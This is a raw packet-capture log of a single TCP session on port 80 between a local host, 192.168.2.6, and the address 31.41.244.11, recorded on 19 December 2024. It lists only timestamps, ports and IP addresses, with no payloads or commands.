Dec 19, 2024 16:10:31.565263033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.565347910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.565387964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.566229105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.566338062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.566339016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.566387892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.567173004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.567215919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.567300081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.567336082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.568157911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.568205118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.568275928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.568450928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.569165945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.569293976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.569300890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.569338083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.570127010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.570169926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.570251942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.570782900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.571096897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.571137905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.571317911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.571360111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.572092056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.572139978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.572216988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.572264910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.573097944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.573144913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.573291063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.573331118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.574139118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.574186087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.574454069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.574495077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.575090885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.575131893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.575161934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.575200081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.576065063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.576107979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.576221943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.576308012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.577069044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.577114105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.577147007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.577191114 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.577996016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.578042030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.578119040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.578273058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.579152107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.579199076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.579221964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.579289913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.579922915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.579969883 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.580032110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.580079079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.580885887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.580933094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.581000090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.581037045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.581974030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.582020044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.582082033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.582232952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.723486900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.723592043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.723650932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.723761082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.723813057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.724128962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.724205017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.724246025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.724993944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.725039959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.725064993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.725104094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.726036072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.726083040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.726162910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.726213932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.726246119 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.726284027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.727158070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.727221012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.727296114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.727341890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.728065014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.728112936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.728215933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.728257895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.729008913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.729053974 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.729073048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.729111910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.730134010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.730160952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.730187893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.730211020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.731005907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.731055975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.731076956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.731115103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.731970072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.732017040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.732156038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.732202053 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.732887030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.732975960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.733020067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.733938932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.733989954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.734023094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.734061956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.734950066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.734989882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.735197067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.735255003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.735843897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.735888958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.736016989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.736057043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.736824036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.736862898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.736943960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.737018108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.737821102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.737901926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.737911940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.738024950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.738828897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.738888979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.738918066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.738972902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.739803076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.739821911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.739866018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.740984917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.741077900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.741080999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.741166115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.741791964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.741843939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.741863012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.741900921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.742821932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.742867947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.743011951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.743321896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.743792057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.743844986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.743902922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.743946075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.744699001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.744779110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.744798899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.744837046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.745820999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.745862007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.745984077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.746093988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.746934891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.746998072 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.747061968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.747102976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.747848988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.748044968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.748073101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.748270988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.749068022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.749288082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.749335051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.749850035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.749937057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.750004053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.750042915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.750794888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.750876904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.750915051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.751775980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.751835108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.751868010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.751912117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.752753019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.752816916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.752873898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.753586054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.753628016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.753645897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.753683090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.754477978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.754523993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.754599094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.754638910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.755558968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.755604982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.755635977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.756057978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.756464005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.756506920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.756671906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.756712914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.757460117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.757507086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.757653952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.757698059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.758491039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.758544922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.758599043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.758728981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.759457111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.759506941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.759510994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.759546995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.760341883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.760469913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.760469913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.760510921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.761389017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.761435986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.761462927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.761501074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.762350082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.762403965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.762449980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.762501001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.763353109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.763407946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.763432980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.763541937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.764312983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.764357090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.764394045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.764558077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.765296936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.765325069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.765355110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.765377045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.766247034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.766287088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.766316891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.766362906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.767252922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.767303944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.767347097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.767399073 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.768240929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.768292904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.768454075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.768501997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.769396067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.769437075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.769483089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.769526005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.770560980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.770603895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.770637989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.770695925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.771225929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.771362066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.771418095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.772147894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.772231102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.772286892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.773109913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.773179054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.773196936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.773279905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.774748087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.774805069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.774837971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.774919987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.916342020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.916361094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.916423082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.916646957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.916688919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.916825056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.916871071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.917922974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.917970896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.918092012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.918700933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.918755054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.919034004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.919095993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.919395924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.919775963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.920125008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.920137882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.920169115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.920185089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.921072960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.921089888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.921139002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.921977043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.922035933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.922127962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.922173977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.922919035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.923084021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.923139095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.923830986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.923886061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.923969984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.924117088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.924869061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.924928904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.925050020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.925261974 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.925903082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.925925970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.925972939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.925983906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.926980019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.927135944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.927184105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.927818060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.927865982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.927987099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.928035021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.928793907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.928905010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.928936005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.928980112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.929827929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.929852009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.929896116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.930733919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.930784941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.930898905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.930938959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.931879044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.931946993 CET	49881	80	192.168.2.6	31.41.244.11
